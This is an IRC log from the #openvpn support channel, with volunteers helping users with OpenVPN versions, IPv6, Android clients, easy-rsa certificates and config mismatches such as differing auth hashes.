06:35 -!- pyrobisqit [~yaaic@87.Red-88-5-221.dynamicIP.rima-tde.net] has quit [Quit: Main screen turn off!]
06:40 <@EugeneKay> So? Unless your vpn clients are providing a service to the outside world there isn't much reason for somebody to need to reach them from the internet at-large
06:41 <@EugeneKay> Even if they are, just do a NAT on the port you need them to be reachable on.
06:41 <@EugeneKay> No need to waste public IPv4s
06:49 < kls> <rant> Samba SUCKS so much. When will we have a new protocol replacing it? Why can't, say, AFP become the standard? </rant>
06:59 <@EugeneKay> Because AFP is even worse
07:00 < kls> Isn't there anything else?
07:00 <@EugeneKay> SMB isn't going away any time soon; it's pretty deeply entrenched in AD & family
07:01 < kls> It seems quite limited at times. And mostly because of — drumroll – windows clients not being able to comprehend e.g. proper write-only access.
07:02 < kls> Or the major suck with unicode filenames.
07:02 <@EugeneKay> FWIW, Windows is the reference implementation
07:03 < kls> Yes... And that's why I don't understand why we have to kindof force it on the rest of the world.
07:03 <@EugeneKay> Because Samba is the minority?
07:03 < kls> What is the majority then? I honestly don't know the bigger alternatives
07:03 <@EugeneKay> Windows?
07:04 < kls> Ah, OK. Yes.
07:04 < kls> Sorry. :)
07:04 < kls> Got it.
07:04 < kls> Under "Samba" I meant "Windows file sharing protocol", whatever its proper name should be.
07:05 <@EugeneKay> Also remember that SMB covers a lot more than just file sharing - it also does printers, raw serial ports, RPCs....
07:05 <@EugeneKay> Bits and pieces of this are done in other protocols(SFTP for example), but no one protocol does all of it
07:05 <@EugeneKay> It's really the building block for Windows Network Operating System, aka AD-DS
07:05 -!- pyrobisqit [~yaaic@87.Red-88-5-221.dynamicIP.rima-tde.net] has joined #openvpn
07:05 <@EugeneKay> You can't just toss that out the window
07:06 <@EugeneKay> And despite your rantings, it really is rather performant. I regularly use it across WAN links with no issues aside from the expected amount of lag.
07:06 <@EugeneKay> With non-Windows implementations ;-)
07:06 <@EugeneKay> It comes down to configuring your servers & clients properly
07:08 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn
07:08 -!- mode/#openvpn [+o plaisthos] by ChanServ
07:10 -!- JackSparrow [~death@2001:41d0:1:d4e5:dead::42] has quit [Ping timeout: 245 seconds]
07:13 -!- JackSparrow [~death@2001:41d0:1:d4e5:dead::42] has joined #openvpn
07:21 -!- pyrobisqit [~yaaic@87.Red-88-5-221.dynamicIP.rima-tde.net] has quit [Quit: Main screen turn off!]
07:41 -!- mirco [~mirco@pd95b6029.dip0.t-ipconnect.de] has joined #openvpn
07:45 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
07:49 -!- brute11k [~brute@89.249.231.173] has joined #openvpn
07:50 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has joined #openvpn
07:50 -!- xbanux [~xbanux@triband-mum-59.182.147.208.mtnl.net.in] has quit [Ping timeout: 276 seconds]
07:52 -!- xbanux [~xbanux@triband-mum-59.182.147.208.mtnl.net.in] has joined #openvpn
08:00 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
08:00 < Valcorb> up
08:02 < kls> EugeneKay: yes, I think so. I jsut had massive problems w/ setting up a proper SMB server under OSX Mountain Lion
08:02 < kls> Partly because of Apple's wise move of writing yet another SMB implementation
08:04 < kls> Not optimal at all.
08:07 -!- tcamuso_ [tcamuso@nat/redhat/x-stzdjglvmiahqwgn] has joined #openvpn
08:08 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit []
08:08 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
08:16 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
08:16 -!- mirco [~mirco@pd95b6029.dip0.t-ipconnect.de] has quit [Remote host closed the connection]
08:18 -!- mirco [~mirco@pd95b6029.dip0.t-ipconnect.de] has joined #openvpn
08:33 -!- xbanux [~xbanux@triband-mum-59.182.147.208.mtnl.net.in] has quit []
08:49 -!- corretico [~luis@190.211.93.38] has joined #openvpn
08:58 -!- pyrobisqit [~pyrobisqi@87.red-88-5-221.dynamicip.rima-tde.net] has joined #openvpn
08:58 -!- Valcorb|| [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
08:59 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit [Read error: Connection reset by peer]
08:59 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
09:00 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Client Quit]
09:11 -!- JesseC [~JesseCWor@wsip-98-175-20-126.br.br.cox.net] has quit []
09:17 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Read error: Connection reset by peer]
09:19 -!- Orbi [~opera@anon-186-54.vpn.ipredator.se] has joined #openvpn
09:21 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
09:29 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
09:56 -!- Valcorb|| [~Valcorb@d54C68BC0.access.telenet.be] has quit []
09:56 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit []
09:58 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
10:03 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
10:04 -!- erry [erry@freenode/staff/erry] has quit [Quit: Reconnecting]
10:04 -!- kls [~kls@198.211.125.123] has left #openvpn []
10:04 -!- erry [erry@freenode/staff/erry] has joined #openvpn
10:16 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
10:17 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
10:19 -!- raidz_away is now known as raidz
10:24 -!- star314 [~star314@xchg.fiss-oeaw.at] has joined #openvpn
10:24 -!- star314 [~star314@xchg.fiss-oeaw.at] has quit [Max SendQ exceeded]
10:25 -!- star314 [~star314@xchg.fiss-oeaw.at] has joined #openvpn
10:25 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
10:30 < jzaw> <EugeneKay> [11:41:10] No need to waste public IPv4s
10:30 < jzaw> hehe
10:31 < jzaw> i make it my personal mission to use up the european ipv4's ... bring on ipv6 !
10:31 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has joined #openvpn
10:38 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn
10:38 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host]
10:38 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
10:38 -!- mode/#openvpn [+o krzee] by ChanServ
10:39 < Rienzilha> :)
10:42 <@ecrist> >:-)
10:42 < pekster> jzaw: RFC6598 allows for ISPs to use NAT. Plenty of ways to avoid IPv6 if someone needs an excuse. Until we want IPv6 enough it won't come much faster than it does today
10:44 < jzaw> aye pekster and some numpty will bringout NAT6
10:44 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
10:44 < Rienzilha> and until it's there we won't want it
10:44 < pekster> It's already here. You're not supposed to need it, but that doesn't stop poor implementation. Hopefully consumers can mitigate that with enough alternatives
10:45 < Rienzilha> well the technology is there, but no end user needs it
10:45 < pekster> They might if an ISP only allocates a single /64 to a home network
10:45 < Rienzilha> no company in their right mind would set up services exclusively on ipv6
10:45 < Rienzilha> pekster: that isp would go bankrupt quickly :D
10:45 < pekster> Oh, "it" being IPv6, not NAT6
10:45 < Rienzilha> yeah ipv6
10:45 < jzaw> we dont need a spare hole in the head but someone invented trepanning
10:46 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
10:46 -!- dlucio [~dieu@CPEbcc8100f9978-CMbcc8100f9975.cpe.net.cable.rogers.com] has joined #openvpn
10:46 <@ecrist> I doubt anyone is going to do NAT6 at the ISP level
10:46 < dlucio> hello people
10:46 < dlucio> little question
10:47 < dlucio> does windows8 has problems with openvpn 2.2.2?
10:48 <@ecrist> yes
10:48 <@ecrist> why would you run 2.2.2?  2.3.0 is what you should run
10:49 < jzaw> hehe tell that to debian wheezy ecrist
10:49 <@krzee> !repo
10:49 <@vpnHelper> "repo" is openvpn runs some software repositories for your installing pleasure, http://community.openvpn.net/openvpn/wiki/OpenvpnSoftwareRepos
10:49 <@krzee> you tell it to your distro
10:49 <@krzee> heh
10:51 <@EugeneKay> One of these days I'll relearn to package RPMs
10:51 < dlucio> ecrist, i know  it is for a distro packaging, mageia is freezed now, and i canonly push 2.3 if there is a good reason
10:51 < dlucio> such as windows8 incompatibility for example
10:52 < dlucio> i need to know if there is a good reason to push 2.3 , not only to be in the fancy edge or releases
10:52 <@ecrist> jzaw: his questions qwas about windows 8, not debian
10:52 <@ecrist> dlucio: you can use 2.3.0 as a client for a 2.2.2 server
10:53 <@ecrist> but not the other way around as reliably
10:53 -!- star314 [~star314@xchg.fiss-oeaw.at] has quit [Ping timeout: 245 seconds]
10:53 < dlucio> is ip6 support on 2.3 better than 2.2.2?
10:53 < jzaw> yes sorry i injected a little irony since debian wheezy is on 2.0something imsmr but certainly not on 2.3
10:53 < pekster> No, not NAT6 at the ISP, but if the customer site gets no PD or too small of one, the site may feel compelled to NAT internally. That would be Bad™
10:53 <@ecrist> yes, dlucio 
10:54 <@ecrist> 2.2.2 essentially has no ipv6 support, 2.3.0 has nearly full ipv6 support
10:54 < dlucio> ok, tahts enough for me to push 2.3 into mga3
10:55 < dlucio> thank you :)
10:55 < pekster> /64 only, IIRC. 2.3.1 should should smaller sizes too, if you need/want that
10:55 < pekster> That in theory "should" be less of an issue, minus aforementioned bad ISPs ;)
10:55 < jzaw> what is the time scale for full ipv6 ecrist ie listen to 1194 on ::    ?
10:55 <@ecrist> jzaw: 2.3.1 or so
10:56 <@ecrist> pekster: 2.3.0 supports variable subnets iirc
10:56  * jzaw rubs his hands with glee :)
10:56 <@ecrist> 2.2.0 would only allow /64
10:56 <@ecrist> jzaw: you can run a fully-ipv6 server now, though
10:56 < jzaw> oh?
10:56 < pekster> jzaw: I told you how to do that last night
10:56 <@ecrist> heh
10:56  * jzaw shakes his head from the fog that must have set in 
10:57 < pekster> udp6       0      0 :::5001                 :::*
10:57 <@ecrist> s/fog/drunk/
10:57 < pekster> Just add --proto udp6
10:57 < jzaw> same thing ecrist eheh
10:57 < jzaw> pekster, i missed that ... sorry must have scrolled up on the screen
10:57 < pekster> Leave the 'local' option omitted and it'll listen on :::1194 (or in my example, 5001)
10:57 < jzaw> really ? ... must try now
10:57 < pekster> No, you replied to it.
10:58 < jzaw> oh ... forgive ... three sheets to the wind then !
10:58 < Rienzilha> hmm, since there's activity here... What would be the easiest way to distribute a specific openvpn configuration with a software package (on windows). Have the installer put configuration and certificate in the openvpn configuration file directory and create a new tap device?
10:58 < jzaw> i replied? this is bad cos i cant remember
10:58 < pekster> Pretty sure. Unless your reply was in regard to something else
10:59 <@ecrist> Rienzilha: yes
10:59 <@EugeneKay> More booze
10:59 <@EugeneKay> Always more booze
10:59 < Rienzilha> and is there an easy way to check if openvpn is installed and up to date?
10:59 < pekster> openvpn --version perhaps?
10:59 < pekster> Or your package manager, or the repo links
10:59 < jzaw> pekster, i probably did reply but sometimes i have gaps
11:00 < Rienzilha> pekster: scripted, on a few hundred end user windows machines :)
11:00 < Poster> probably a login script would do it
11:00 < Poster> but that's less of an openvpn question and more of a windows administration question
11:01 < pekster> I've leveraged NSIS and Group Policy personally, but there are many wasy to do that
11:01 < pekster> Yup
11:01 < Rienzilha> well the user machiens are not part of any centralized something
11:01 < pekster> I just wrapped the OpenVPN installer (which is itself NSIS) inside my own NSIS installer to get all the bundled "site stuff" shipped too (scripts, keys, config, etc)
11:01 < Rienzilha> ah
11:01 < Poster> still a windows deployment process though
11:01 < Rienzilha> yeah it is
11:02 < Rienzilha> I'll try to figure it out
11:12 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
11:14 -!- star314 [~star314@xchg.fiss-oeaw.at] has joined #openvpn
11:18 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
11:20 < dlucio> is openvpn2.3 fully systemd aware?
11:20 -!- star314 [~star314@xchg.fiss-oeaw.at] has quit [Quit: Leaving]
11:21  * plaisthos does not even know what this means
11:22 <@plaisthos> proabably not
11:22 <@EugeneKay> No.
11:22 <@krzee> lol
11:22 <@EugeneKay> openvpn is a binary
11:22 <@krzee> I'm not systemd aware either
11:22 <@EugeneKay> Feel free to write a systemd-compatible init script
11:22 <@EugeneKay> It's a hipster initd
11:22 < dlucio> we have already, but i mean
11:22 < dlucio> i see that configure has --enable-systemd
11:23 <@plaisthos> it has?
11:24 <@plaisthos> oh yeah for querying password etc. via systemd
11:27 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
11:28 -!- pyrobisqit [~pyrobisqi@87.red-88-5-221.dynamicip.rima-tde.net] has quit [Ping timeout: 272 seconds]
11:30 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has quit [Ping timeout: 272 seconds]
11:43 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
11:53 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 260 seconds]
11:54 < dlucio> it seems that the easy-rsa scripts from2.2.2 has been disappeared
11:54 < dlucio> or are they renamed and in other path
11:55 < pekster> It's a separate project now
11:55 <@krzee> its a separate package now
11:55 < pekster> !easyrsa
11:55 < pekster> Hmm
11:55 <@krzee> !easy-rsa
11:55 <@vpnHelper> "easy-rsa" is (#1) easy-rsa is a certificate generation utility. or (#2) Download here: https://github.com/OpenVPN/easy-rsa/downloads or (#3) Download easy-rsa from git hub at https://github.com/OpenVPN/easy-rsa
11:55 < pekster> !learn easyrsa as [easy-rsa]
11:55 <@vpnHelper> Joo got it.
11:55 <@krzee> =]
11:55 < dlucio> jaaj  ok,
11:56 <@krzee> ahh que hablas español
11:56 < dlucio> SI
11:56 < dlucio> P
11:56 <@krzee> :p
11:58 -!- pyrobisqit [~pyrobisqi@87.Red-88-5-221.dynamicIP.rima-tde.net] has joined #openvpn
11:58 < dlucio> is the openvpnfor android availabe at play store?
11:58 < dlucio> there has been an oepnvpn 2.1 package for a while there
11:59 <@krzee> !android
11:59 <@vpnHelper> "android" is (#1) an open source OpenVPN client for ICS is available in Google Play, look for OpenVPN for Android. FAQ is here: http://code.google.com/p/ics-openvpn/wiki/FAQ or (#2) If running cyanogenmod, openvpn and busybox are already installed for you! or (#3) If you do not have cyanogenmod or ICS, but your device is rooted, you can use android-openvpn-installer and openvpn-settings from the
11:59 <@vpnHelper> market
12:00 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
12:03 < dlucio> the one from ARNE SCHWABE or from FRIEDRICH SCHÄUFFELHUT ??
12:03 <@ecrist> look for openvpn connect
12:04 < dlucio> ha good
12:04 < dlucio> i found it
12:04 < dlucio> so, no rooted device :)
12:05 < dlucio> i have my phone rooted, but table , it isnot
12:05 < dlucio> tablet
12:06 <@ecrist> ICS+ you don't need root
12:08 <@plaisthos> dlucio: mine! d:
12:11 < dlucio> i will give i try, idont have any complain using theone that requires rooted anyway  but if it is integrated as a services it is better
12:21 <@krzee> ecrist, you like openvpn connect more than openvpn for android?
12:21 <@ecrist> i've only used openvpn connect
12:21 <@krzee> i like the open source one better
12:21 <@ecrist> the other requires root, iirc, and I don't have a rooted device
12:21 <@krzee> no it doesn't
12:21 <@krzee> theres 2 no-root openvpn's for android
12:21 <@krzee> 1 is opensource, 1 is not
12:21 <@krzee> openvpn for android = open source and no root
12:21 <@krzee> openvpn connect = closed source and no root'
12:22 <@ecrist> krzee: openvpn connect will be open-sourced soon
12:22 <@krzee> android-openvpn-installer and openvpn-settings is when you have no ics so need root
12:22 <@krzee> plaisthos made openvpn for android
12:22 <@ecrist> I know...
12:22 <@krzee> aka arne schwabe
12:23 <@krzee> the friedrich one (fries) is the one that needs root
12:23 <@krzee> and openvpn connect is from openvpn technologies (when are they releasing that source?)
12:23 <@krzee> i didn't think they could because of the IOS app
12:24 <@ecrist> they can't release the iOS code itself
12:24 <@ecrist> the core openvpn code is to be released, though
12:24 <@krzee> right but they had to recode from scratch because of the IOS store rules
12:25 <@ecrist> no
12:25 <@krzee> thats what i understood at least'
12:25 <@ecrist> they recoded in C++ and changed a whole bunch of stuff, in large part, to save on battery life
12:26 <@ecrist> the re-code is basically just the client code, redone in c++ (like the openvpn-as client)
12:26 -!- Keshl [~Purple@24.115.178.18.res-cmts.gld.ptd.net] has joined #openvpn
12:27 <@krzee> right i understand that part, but could have sworn i was told in a meeting that it was recoded for IOS store rules and thats why the source was closed even on android
12:27 <@krzee> that the apple store is incompat with opensource
12:27 <@krzee> (licensing that is)
12:28 <@ecrist> that's why the iOS client won't be open sourced
12:28 -!- Sidewinder [~de@unaffiliated/sidewinder] has quit [Quit: Leaving]
12:31 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
12:34 <@krzee> i still like openvpn for android :D
12:34 <@ecrist> heh
12:34 <@ecrist> I have nothing against it, just never tried it
12:34 <@krzee> it existed a bit before openvpn connect
12:34 <@krzee> so i got used to it early
12:35 <@krzee> i love it, it's everything i would have wanted
12:37 < pekster> I haven't (yet) gotten into android development, but I suppose I'll get there soon enough; I already have the SDK on 2 of my computers for the purposes of rooting and assorted adb tasks
12:43 -!- vraa__ [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
12:45 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 260 seconds]
12:47 -!- Keshl [~Purple@24.115.178.18.res-cmts.gld.ptd.net] has quit [Read error: Connection reset by peer]
12:47 -!- Keshl [~Purple@24.115.178.18.res-cmts.gld.ptd.net] has joined #openvpn
12:50 < Keshl> Does anyone have a few minutes to point me in the right direction? I've got a log of a connection that's being reset as soon as I connect. It seems to actually succeed and get an IP, but as soon as it does the server just resets the connection. I'm not sure what might be wrong in my configuration, but here's the log: http://pastebin.com/7xGy7Bwi
12:53 <@EugeneKay> Other end's log?
12:53 < Keshl> Good question. ... How do I get that, exactly? I've got it running on dd-wrt. Dunno where that actually /goes/...
12:54 -!- Keshl [~Purple@24.115.178.18.res-cmts.gld.ptd.net] has quit [Read error: Connection reset by peer]
12:54 -!- Keshl [~Purple@24.115.178.18.res-cmts.gld.ptd.net] has joined #openvpn
12:55 < Keshl> Sorry. Hiccuped. <.<
12:56 <@EugeneKay> Bugger if I know, I don't use ddwrt :-p
12:56 < Keshl> Okay, where is it usually on most Linux systems, then? Might get lucky.
12:57 <@EugeneKay> syslog
12:57 <@EugeneKay> Or wherever --log is
12:57 < Keshl> oh, there it is.
12:57 < Keshl> Yeah got it, one moment.
12:58 < Keshl> http://pastebin.com/A59nqxHA
12:58 <@EugeneKay> The most obvious problem is v2.3.0 vs v2.1.3
12:58 <@EugeneKay> It /oughta/ work, but no guarantees.
12:58 < Keshl> Ohhh..
12:58 < Keshl> Well, might as well give 2.1.3 a whirl.
13:00 <@EugeneKay> !configs
13:00 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
13:01 < pekster> HMAC auth failed? Did you forget a --tls-auth on one side, or not use the same shared key at both ends?
13:03 <@EugeneKay> that'd fail soonr
13:03 < pekster> Oh, nevermind; it's partway through the handshake. Maybe incorrect --auth used though
13:04 < pekster> SHA512 isn't the default (SHA1 is) so both sides would explicitly need it defined
13:04 <@EugeneKay> Yeah, especially as the client says SHA1
13:04 <@EugeneKay> Er no, server
13:04 < Keshl> One thing at a time o_o I'm new to this. Trying 2.1.3 first.
13:05 < uberushaximus> That's what she said
13:05 < pekster> fwiw, I just use SHA256 since it's not really any less secure and saves some overhead, but that's just me
13:05 -!- uberushaximus was kicked from #openvpn by EugeneKay [innanuts]
13:05 < Keshl> uuuppz: Nice.. XD
13:05 -!- uberushaximus [~uberushax@hacked.thegov.us] has joined #openvpn
13:05 <@krzee> hah
13:05 < uberushaximus> <3 EugeneKay
13:05 < Keshl> 2.1.3, works happil;y!
13:05  * Keshl huggles!
13:05 < Keshl> Sort of.
13:05 <@EugeneKay> Well, there you go then? :v
13:05 <@krzee> no hmac error with 2.1.3?
13:06 < Keshl> It says it got an IP, but it still says "connecting" and the icon's yellow, not green.
13:06 <@EugeneKay> I think configs would help :-p
13:06 < Keshl> ...Indeed, looking at the log now it's doing the same thing as before <ω<
13:06 <@krzee> its what pekster said
13:06 <@krzee> tls-auth mismatch on files or config options
13:07 < Keshl> Lemme check that first then. I'll bother'ya more if it still yells at me.
13:08 < Keshl> Blah. <.< Okay this is over my head. I think it's the fact dd-wrt's making me use a GUI rather than just being simple and typing the config like everyone else.
13:09 < Keshl> Where is the file normally stored on Linux?
13:09 < pekster> /etc/openvpn/config-name.conf although you can really store it anywhere you like
13:09 < robert_> http://pastebin.com/jYGGvt9C -- I'm getting lots of "MULTI: bad source address from client [], packet dropped" between openwrt and a openvpn server my colleague and I are setting, up and I don't know why. :/
13:09 < pekster> I just wrote my own bare-bones initscript for openwrt since I dislike the "config file integration" $upstream does
13:09 < Keshl> Least it gives me something to go off of.
13:09 <@EugeneKay> Blah, gUI
13:10 < robert_> an* openvpn **
13:10 -!- krzee [nobody@openvpn/community/support/krzee] has left #openvpn ["Leaving"]
13:10 <@EugeneKay> robert_ - that usually means that there's a route one side has that the other isn't expecting
13:10 -!- Keshl [~Purple@24.115.178.18.res-cmts.gld.ptd.net] has quit [Read error: Connection reset by peer]
13:10 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn
13:10 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host]
13:10 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
13:10 -!- mode/#openvpn [+o krzee] by ChanServ
13:10 <@EugeneKay> So openvpn drops the unknown traffic
13:10 < pekster> Keshl: This is not very refined (early dev version right out of my source control) but maybe you can tune this to work on dd-wrt if you'd like: http://pekster.sdf.org/code/files/openvpn.init.devel
13:10 -!- Keshl [~Purple@24.115.178.18.res-cmts.gld.ptd.net] has joined #openvpn
13:11 < robert_> EugeneKay: ah. and afternoon, btw. :D
13:11 < robert_> EugeneKay: would the server configuration help?
13:12 <@EugeneKay> Meh, I don't feel like pawing through routes
13:12 <@EugeneKay> Even if I am wearing my OpenVPN shirt today
13:12 <@krzee> lol
13:12 <@krzee> wore mine 2 days ago :D
13:12 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Quit: Ex-Chat]
13:12 <@EugeneKay> It's covered in cat hair now :-/
13:12 < uberushaximus> :\
13:12 <@krzee> furballs
13:13 < uberushaximus> flippin cats
13:13 <@EugeneKay> It's a lady-friend's
13:13 <@krzee> hair or cat?
13:13 < uberushaximus> awwwww yeeeah
13:13 <@EugeneKay> Cat
13:14 <@EugeneKay> her hair too, but that's a lot less oppressing
13:14 < Keshl> pekster: Ain't finding it. Best I got is a screenshot of the GUI: http://ompldr.org/vaHR1bw/server.jpg . Client is http://pastebin.com/Sh4LqdT9 -- I tried changing the cipher to 128 on the server, which seems to make it hold longer but it still does the same thing. When I change it client-side, it appears right away with a "failed to connect" popup.
13:15 < Rienzilha> hmm, can one launch an openvpn session without being bothered by a uac prompt?
13:15 < Keshl> Rienzilha: Sure. Disable UAC.
13:15 < Keshl> (Otherwise, no)
13:15 <@EugeneKay> You can right click the icon and hit Disconnect
13:15 < Rienzilha> *sigh*
13:16 < pekster> Keshl: cipher isn't your problem. Your logs from earlier show one side using SHA1 and the other SHA512 as your hash choice. This is an error: they must match
13:16 <@EugeneKay> It'll relaod the conf when you click Connect
13:16 <@EugeneKay> If you really want you can run it as a Windows service, but then you lose the icon
13:16 < Keshl> pekster: Oh. How do I change that, then? Client-side, preferably? There's appearntly no easy way to do it server-side.
13:16 < pekster> Rienzilha: That's the point of UAC: openvpn requires admin rights, and UAC confirms before you grant such a program rights to run as an admin (even if you "are" an admin user)
13:16 < pekster> Keshl: --auth in the manpage
13:17 < Rienzilha> pekster: I know why uac exists, but some applications are able to elevate automatically
13:17 < pekster> Use whatever hash you want, but they must match
13:17 <@EugeneKay> Though i know there is a hacky program to bypass UAC for certain apps
13:17 < Keshl> x.x There an online manual? I'm on Windows here.
13:17 < Rienzilha> but that probably needs expensive microsoft application signatures and what not
13:17 <@EugeneKay> Look up ElevatedShortcut
13:17 < pekster> Rienzilha: You mean prompt you automatically? No application should ever "become" an admin without prompting, less it's a service and not an actual program
13:18 < Rienzilha> pekster: no I mean gain elevated priviliges without prompting
13:18 < pekster> If you mean automatically prompt you so you don't have to "run as admin" that's been disscucsed
13:18 < pekster> Then turn UAC off?
13:18 < Rienzilha> what I need is the following
13:18 < pekster> Or use a solution like EugeneKay suggested (I'd guess it just elevates once and then runs child processes under its own admin rights)
13:18 < Rienzilha> I have an application that needs to establish an openvpn connection on launch (and ideally kill it on exit)
13:19 <@EugeneKay> It uses a special binary which is marked in Windows to not need UAC
13:19 <@EugeneKay> It's a filthy hack
13:20 < Rienzilha> users ideally shouldn't be bothered with uac prompts every time they launch, but if there is no way to accomplish that i'll bother them with uac prompts :)
13:20 < pekster> So, you want UAC to stop things from automatically running with system admin rights, but you don't want to prompt users?
13:20 < pekster> Security or one-click operation: pick one :)
13:21 < Rienzilha> well there is quite some applications that can
13:21 < uberushaximus> what is NT security
13:21 <@EugeneKay> There's a setting to have UAC not prompt for Windows binaries
13:21 < Rienzilha> trusted applications can elevate without prompt
13:22 < Rienzilha> and the prompts don't work for most users anyway, since most people will click anything if needed :)
13:22 < robert_> anybody else? All I need is to fix this, and then I'll be out of everybpdy's hair. :p
13:23 < Keshl> pekster: I tried putting "auth SHA512" and "auth SHA1" in the client config. Checked the logs, the change did take. Same issue regardless.
13:23 < pekster> "Same issue"? It should be a "different issue" if you fixed your hash to match
13:23 < pekster> You don't need to try both settings: you need to match between your endpoints
13:24 < Keshl> It still does the same thing. Resets after it connects. Icon keeps changing from green to yellow and back over and over.
13:24 < pekster> That's not helpful
13:24 < pekster> I can tell you from that description that "it isn't working."
13:25 < Keshl> pekster: My bad. And thanks, there's another setting I didn't notice that ain't matching that I didn't catch.
13:25 < Keshl> ...Oh. Ohhh, that's, what's happening.. The GUI needs me to hit "save" then "apply". <.< Can't just hit "apply"
13:26 < Keshl> Heeeeey now it works! Thanks. -huggles at.-
13:26 < pulz> i got a openvpn client behind a nat router with an active portforward, when i start openvpn the portforward stops responding, any suggestions on how to handle this ?
13:28 < pekster> pulz: I'm guessing you're using the --redirect-gateway option, or otherwise pushing a route that interferes with the reply traffic
13:29 < pekster> If so, your choices include 1) stop using gateway redirection, 2) exclude the source of traffic you wish to forward by a route to your pre-existing gateway, or 3) set up policy routing
13:29 < pulz> pekster: my gues was correct then i see, manual pusing of gateways ?
13:30 < pekster> Is that a question?
13:33 < pulz> no, thank you for the pointers, will look into it
13:34 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer]
13:38 -!- Keshl [~Purple@24.115.178.18.res-cmts.gld.ptd.net] has quit [Read error: Connection reset by peer]
13:38 -!- Keshl [~Purple@24.115.178.18.res-cmts.gld.ptd.net] has joined #openvpn
13:40 -!- Six6siX [~six6six@cpc2-ely06-2-0-cust377.5-1.cable.virginmedia.com] has joined #openvpn
13:40 < Six6siX> Hello people
13:41 < Six6siX> I have a problem with openvpn, i can connect to the server fine, i can surf the internet fine.. however if I log on using my iphone it knocks my laptop off the net.
13:41 < Six6siX> how would I get openvpn to assign multiple Ip's to each device?
13:42 < pekster> !duplicate
13:42 <@vpnHelper> "duplicate" is the option duplicate-cn is for allowing the same cert to login more than once. It should not be used in most situations, with main exceptions being if you also use !authpass or if just testing
13:42 < Six6siX> oh
13:42 < rob0> best answer: make another certificate for the other client
13:42 < pekster> The correct way to do what you want is issue different certs to each device
13:42 < Six6siX> ah
13:43 < Six6siX> does this mean I have to run ./clean-all?
13:43 < pekster> No, that will wipe out your PKI
13:43 < Six6siX> oh
13:43  * Six6siX is a n00b
13:43 < pekster> Never run that unless you really want to start over with a new CA. You can generate a new keypair and sign it with the build-req script
13:44 < Six6siX> okay so which order do i do this? ./build-server-key then ./build-key followed by build-dh?
13:44 < pekster> Do you already have a server key and dh params?
13:44 < Six6siX> yea
13:45 < rob0> ./build-server-key ? Why
13:45 < pekster> Those are one-time operations, and you don't need to do them again
13:45 < Six6siX> oh okay
13:45 < pekster> Unless you want to authorize a new server, or re-generate your DH params for some reason
13:45 < Six6siX> no server is all working fine.. all i need is another client cert for my laptop
13:45 < pekster> Just create a new key (build-key, that's what I was looking for. My brain is too deep on the next version of easy-rsa I'm coding)
13:45 < Six6siX> ah okay
13:45 < Six6siX> awesome
13:46 < pekster> It's possible to generate your keypairs on thte client device, send the req to the CA system for signing, and send the cert back, but that might be more than you want to deal with now. It's better security to do it that way, but you can add "best practices" later if you want to learn more after a working setup
13:46 < Six6siX> just got a an error saying i need to source ./vars is this safe?
13:47 < pekster> Yes, you need to source vars each time you call easy-rsa from a new shell session
13:47 < Six6siX> okay cool
13:47 < pekster> Just ". ./vars" in your dir
13:47 < pekster> It just sets some env-vars
13:48 < rob0> envelope varsity
13:48 < Six6siX> awesome.. saved me from a load of hassle the fella's..
